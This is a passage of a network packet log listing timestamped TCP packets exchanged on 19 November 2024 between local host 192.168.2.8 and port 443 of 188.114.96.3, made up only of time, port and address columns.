Nov 19, 2024 18:19:34.409961939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.410351992 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410394907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410418987 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.410424948 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410442114 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.410460949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.410679102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410725117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410738945 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.410768032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.410778046 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.411753893 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.411804914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.411849976 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.411855936 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.411875010 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.459347963 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498081923 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498128891 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498179913 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498199940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498224974 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498256922 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498555899 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498625994 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498647928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498652935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498683929 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498702049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498778105 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498822927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498836994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.498843908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.498864889 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500128984 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500134945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500160933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500189066 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500200987 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500276089 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500276089 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500282049 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500391006 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500433922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500447035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500463963 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500497103 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500530958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500929117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500972986 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.500988007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.500998020 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501002073 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501091957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501091957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501209021 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501229048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501260996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501266003 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501291037 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501312017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501688004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501703978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501739025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501744032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.501766920 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.501785040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.588609934 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588635921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588702917 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.588732004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588872910 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588893890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588903904 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.588910103 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.588923931 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.588959932 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.589548111 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.589561939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.589597940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.589602947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.589647055 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.590724945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.590739965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.590799093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.590804100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.590836048 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591048956 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591063976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591116905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591121912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591176987 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591449022 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591465950 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591512918 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591517925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591548920 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591662884 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591712952 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591726065 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591757059 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591762066 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.591789007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.591809988 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.592109919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.592124939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.592175007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.592180014 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.592571974 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.679617882 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679686069 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679759026 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.679774046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679800034 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679853916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679861069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.679891109 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.679930925 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.680030107 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.680238008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.680285931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.680315971 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.680320978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.680344105 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.680372000 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.681520939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681566954 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681607008 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.681612015 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681655884 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.681731939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.681751013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681792974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681799889 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.681809902 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.681849957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682097912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682169914 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682180882 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682234049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682491064 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682538033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682559013 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682569027 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682600975 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682616949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682751894 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682797909 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682811022 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682816982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.682847023 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.682915926 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.769889116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.769917965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.769984961 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.769999981 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.770045996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.770128012 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.770178080 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.770183086 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.770239115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.770886898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.770908117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.770952940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.770957947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.771008968 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.772078037 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772097111 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772156954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.772161961 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772175074 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.772430897 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772454023 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772480965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.772486925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.772512913 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773019075 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773034096 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773066044 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773072958 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773104906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773389101 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773410082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773435116 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773439884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773473978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773914099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773926973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773978949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.773986101 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.773992062 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.817076921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.860805035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.860872030 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.860915899 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.860945940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.860956907 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861012936 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861015081 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861044884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861068010 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861089945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861148119 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861155033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861176968 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861187935 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861500978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861546993 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861572981 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861579895 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.861613035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.861623049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.862936020 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.862978935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863007069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863013029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863051891 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863342047 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863384008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863395929 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863404036 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863459110 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863651991 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863697052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863708019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863735914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.863763094 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.863790035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864227057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864270926 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864294052 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864300013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864336967 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864547014 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864650011 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864687920 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864721060 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864726067 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.864754915 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.864770889 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951181889 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951229095 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951267958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951297998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951308966 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951342106 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951445103 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951483965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951507092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951513052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.951539993 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.951570034 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.952152014 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.952193975 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.952218056 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.952223063 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.952265024 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.952275991 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.953511953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.953552008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.953572989 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.953577042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.953613043 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.953620911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954008102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954046011 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954078913 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954083920 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954119921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954143047 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954358101 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954396963 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954428911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954433918 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954446077 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954549074 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954721928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954747915 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954777002 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954782009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.954807997 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.954885006 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.955279112 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.955343008 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.955358028 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.955414057 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045068026 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045131922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045181036 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045202017 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045207977 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045299053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045348883 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045356035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045377970 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045404911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045433998 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045553923 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045593023 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045612097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045615911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045639992 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045650959 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045732975 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045770884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045789003 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045809984 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045825005 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045852900 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.045936108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045979023 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.045994997 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.046016932 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.046051979 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.046127081 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.046175957 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.046184063 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.046263933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.046298981 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.046320915 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.047194004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.047235966 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.047264099 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.047269106 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.047282934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.048079014 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.048130035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.048149109 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.048155069 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.048186064 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.048213959 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.132731915 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.132781029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.132877111 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.132904053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.132920980 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.132935047 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.132983923 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.132996082 CET	49730	443	192.168.2.8	188.114.96.3
